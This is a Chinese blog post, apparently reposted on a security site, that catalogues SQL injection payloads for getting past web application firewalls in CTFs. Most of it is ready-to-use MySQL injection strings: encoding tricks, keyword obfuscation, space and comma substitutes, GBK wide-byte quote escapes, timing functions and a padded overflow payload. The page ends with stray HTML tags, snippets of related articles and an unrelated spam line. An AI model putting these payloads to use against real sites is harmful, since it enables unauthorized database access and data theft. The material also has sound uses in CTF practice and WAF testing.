<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CTF或過WAF的sql注入繞過姿勢總結

    一顆小胡椒2022-05-30 06:44:32

    1.注釋符繞過

    常用的注釋符有:

    1)-- 注釋內容

    2)# 注釋內容

    3)/*注釋內容*/

    eg:union select 1,2#

    union select 1,2 --+

    構造閉合 ’ union select 1,2’

     


     

    2.大小寫繞過

    常用于 waf的正則對大小寫不敏感的情況。

    eg:uniOn selEct 1,2

     


     

    3.內聯注釋繞過

    內聯注釋就是把一些特有的僅在MYSQL上的語句放在 /*!...*/ 中,這樣這些語句如果在其它數據庫中是不會被執行,但在MYSQL中會執行。別和注釋/*... */搞混了。

    eg:union /*!select*/ 1,2

     


     

    4.雙寫關鍵字繞過

    一些簡單的waf中,將關鍵字select等只使用replace()函數置換為空,這時候可以使用雙寫關鍵字繞過。

    eg:union seselectlect 1,2

     


     

    5.特殊編碼繞過

    1)十六進制繞過

    eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

    2)ascii編碼繞過

    eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

    3)Unicode編碼

    常用的幾個符號的一些Unicode編碼:

    單引號: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

    空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

    左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

    右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

     


     

    6.空格過濾繞過

    可代替空格的方式:

    1)/**/

    2)()

    3)回車(url編碼中的%0a)

    4)`(tap鍵上面的按鈕)

    5)tap

    6)兩個空格

    eg:union/**/select/**/1,2

    select(passwd)from(users) #注意括號中不能含有*

    select`passwd`from`users`

     


     

    7.過濾or and xor(異或) not 繞過

    and = &&

    or = ||

    xor = |

    not = !

     


     

    8.過濾等號=繞過

    1)不加通配符的like執行的效果和=一致,所以可以用來繞過。

    eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

    2)rlike:模糊匹配,只要字段的值中存在要查找的 部分 就會被選擇出來,用來取代=時,rlike的用法和上面的like一樣,沒有通配符效果和=一樣

    eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

    3)regexp:MySQL中使用 REGEXP 操作符來進行正則表達式匹配

    eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

    4)使用大小于號來繞過

    eg:select * from users where id > 1 and id < 3

    5)<> 等價于 !=,所以在前面再加一個!結果就是等號了

    eg:select * from users where !(id <> 1)

     


     

    9.過濾大小于號繞過

    在sql盲注中,一般使用大小于號來判斷ascii碼值的大小來達到爆破的效果。

    1)greatest(n1, n2, n3…):返回n中的最大值

    eg:select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

    2)least(n1,n2,n3…):返回n中的最小值,與上同理。

    3)strcmp(str1,str2):若所有的字符串均相同,則返回0,若根據當前分類次序,第一個參數小于第二個,則返回 -1,其它情況返回 1

    eg:select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

    4)in關鍵字

    eg:select * from users where id = 1 and substr(username,1,1) in ('t')

    5)between a and b:范圍在a-b之間,包括a、b。

    eg:select * from users where id between 1 and 2

    select * from users where id between 1 and 1

     


     

    10過濾引號繞過

    1)使用十六進制

    eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

    2)寬字節,常用在web應用使用的字符集為GBK時,并且過濾了引號,就可以試試寬字節。%27表示 '(單引號),單引號會被轉義成\'

    eg:%E6' union select 1,2 #

    %df%27 union select 1,2,3  #

     


     

    11.過濾逗號繞過

    1)如果waf過濾了逗號,并且只能盲注,在取子串的幾個函數中,有一個替代逗號的方法就是使用from pos for len,其中pos代表從pos個開始讀取len長度的子串

    eg:常規寫法 select substr("string",1,3)

    若過濾了逗號,可以使用from pos for len來取代 select substr("string" from 1 for 3)

    sql盲注中 select ascii(substr(database() from 1 for 1)) > 110

    2)也可使用join關鍵字來繞過

    eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c

    上式等價于 union select 1,2,3

    3)使用like關鍵字,適用于substr()等提取子串的函數中的逗號

    eg:select user() like "t%"

    上式等價于 select ascii(substr(user(),1,1))=114

    5)使用offset關鍵字,適用于limit中的逗號被過濾的情況,limit 2,1等價于limit 1 offset 2

    eg:select * from users limit 1 offset 2

    上式等價于 select * from users limit 2,1

     


     

    12.過濾函數繞過

    1)sleep() -->benchmark()

    MySQL有一個內置的BENCHMARK()函數,可以測試某些特定操作的執行速度。 參數可以是需要執行的次數和表達式。第一個參數是執行次數,第二個執行的表達式

    eg:select 1,2 and benchmark(1000000000,1)

    2)ascii()–>hex()、bin(),替代之后再使用對應的進制轉string即可

    3)group_concat()–>concat_ws(),第一個參數為分隔符 

    eg:mysql> select concat_ws(",","str1","str2")

    4)substr(),substring(),mid()可以相互取代, 取子串的函數還有left(),right()

    5)user() --> @@user、datadir–>@@datadir

    6)ord()–>ascii():這兩個函數在處理英文時效果一樣,但是處理中文等時不一致。

     


     

    13.緩沖區溢出

    緩沖區溢出用于對付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug從而實現繞過

    eg:?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    示例0xA*1000指0xA后面”A”重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考,在某些情況下可能不需要這么長也能溢出



    wafselect
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關注一波,謝謝各位師傅感謝ch1e師傅幫忙總結ch1e‘blog:https://ch1e.gitee.io
    0x01 前言最近兩個月學著去挖洞,混了快2個月的補天,還是有挺多收獲的。我們先注冊一個個人用戶,然后登陸。然后到這里,不要以為失敗了,我們還是得對這個頁面抓包,繼續改usertype和uid,然后再次發包就可以下載了。但是這個報錯讓我知道了完整的sql語句于是想到了用萬能密碼。注入的地方在搜索框,是一個搜索型SQL注入,通常搜索型SQL注入的SQL語句都是:select * from users where id like '%xxx%' order by xxxxxxxxx";
    Bypass安全狗MySQL注入
    WAF指紋識別工具
    2022-04-11 06:18:47
    原理發送正常的 HTTP 請求并分析響應;這確定了許多 WAF 解決方案。如果不成功,則發送多個HTTP 請求,并使用簡單的邏輯來示例就是WAF
    發送正常的 HTTP 請求并分析響應;這確定了許多 WAF 解決方案
    1.注釋符繞過 常用的注釋符有: 1)-- 注釋內容 2)# 注釋內容 3)/*注釋內容*/ eg:union select 1,2# union select 1,2 --+ 構造閉合 ’ union select 1,2’
    CTF或過WAF的sql注入繞過姿勢總結
    WAF CDN 的識別方法
    2021-11-22 07:37:57
    CDN 是構建在現有網絡基礎之上的智能虛擬網絡,依靠部署在各地的邊緣服務器,通過中心平臺的負載均衡、內容分發、調度等功能模塊,使用戶就近獲取所需內容,降低網絡擁塞,提高用戶訪問響應速度和命中率。CDN 的關鍵技術主要有內容存儲和分發技術。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类